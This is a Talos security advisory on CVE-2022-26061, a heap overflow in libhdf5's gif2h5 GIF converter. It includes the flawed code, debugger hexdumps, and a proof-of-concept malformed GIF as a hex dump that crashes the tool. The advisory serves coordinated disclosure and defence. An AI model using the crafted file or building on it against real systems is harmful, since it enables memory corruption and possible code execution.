Talos Vulnerability Report

TALOS-2022-1487

# HDF5 Group libhdf5 gif2h5 heap-based buffer overflow vulnerability

AUGUST 16, 2022

## CVE NUMBER

CVE-2022-26061

## SUMMARY

A heap-based buffer overflow vulnerability exists in the gif2h5 functionality of HDF5 Group libhdf5 1.10.4. A specially-crafted GIF file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

## CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

HDF5 Group libhdf5 1.10.4

## PRODUCT URLS

libhdf5 - https://www.hdfgroup.org

## CVSSV3 SCORE

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

## CWE

CWE-122 - Heap-based Buffer Overflow

## DETAILS

HDF5 is a file format that is maintained by a non-profit organization, the HDF Group. HDF5 is designed to store and organize large amounts of scientific data. It is used to exchange data structures between applications in industries (such as the GIS industry) via libraries such as GDAL, OGR or as part of software like ArcGIS.

Their included gif2h5 tool is used for converting GIF data to the HDF5 file format.

The vulnerability exists in their gif2h5 tool/library, specifically in ReadGifHeader() function while attempting to convert GIF files to their HDF5 format. The vulnerability exists due to a failure to check the size of an allocated heap buffer while writing and parsing GIF image data stream.

When attempting to parse the GIF local image descriptor, a buffer is allocated based on the width and height of the image to store the image data stream. We can see this occur in `gifread.c` under the `ReadGifImageDesc()` function:

```
if (!(GifImageDesc->GIFImage =
          (GIFBYTE *)malloc((GifImageDesc->ImageWidth) * (GifImageDesc->ImageHeight)))) {  // Malloc here
    printf("Out of memory");
    exit(EXIT_FAILURE);
}
```

In this case we are using an image that is 5x5, so `malloc(0x19)` is called which returns a chunk of usable size, `0x28 (40)`. Following this, the data stream is read and written to the GifImageDesc->GIFImage member without any bounds checking. It instead relies on valid block size values, allowing an attacker to arbitrarily write data beyond the bounds of the heap buffer. This can lead to code execution.

```
          TempPtr = GifImageDesc->GIFImage;
/*
       Here we can see our allocated buffer at 0x555555a840a0:
       gef➤  hexdump TempPtr
       0x0000555555a840a0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................
       0x0000555555a840b0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................
       0x0000555555a840c0     00 00 00 00 00 00 00 00 41 ff 01 00 00 00 00 00
........A.......
       0x0000555555a840d0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................
 */
          do {
              ch = ch1 = (int)*(*MemGif2)++;
              while (ch--)
                  *TempPtr++ = *(*MemGif2)++;
          } while (ch1);

          return (0); /* No FILE stream error occured */
```

Here, we can see that we have written data well beyond the bounds of the heap buffer.

```
gef➤  hexdump 0x0000555555a840a0 256
0x0000555555a840a0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a840b0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a840c0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a840d0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a840e0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a840f0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84100     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84110     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84120     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84130     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84140     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84150     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84160     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
0x0000555555a84170     41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00
AAAAAAAAAAAAA...
```

Leading to a crash:

```
malloc(): corrupted top size
Program received signal SIGABRT, Aborted.
```

### Exploit Proof of Concept

GIF file

```
00000000: 4749 4638 396c 0a00 0300 020d 188e b9fd  GIF89l..........
00000010: 616c 0e00 2c00 0003 0005 0005 0000 0041  al..,..........A
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA

$ gif2h5 PoC.gif test.h5
Unknown Block Separator Character: 0x8e
Unknown Block Separator Character: 0xb9
Unknown Block Separator Character: 0xfd
Unknown Block Separator Character: 0x61
Unknown Block Separator Character: 0x6c
Unknown Block Separator Character: 0xe
Unknown Block Separator Character: 00
malloc(): corrupted top size
[1]    449683 abort (core dumped)  gif2h5 access_violation.min.gif test.h5
```

## TIMELINE

2022-03-21 - Vendor Disclosure

2022-08-16 - Public Release

## CREDIT

Discovered by Dave McDaniel of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1527

NEXT REPORT

TALOS-2022-1485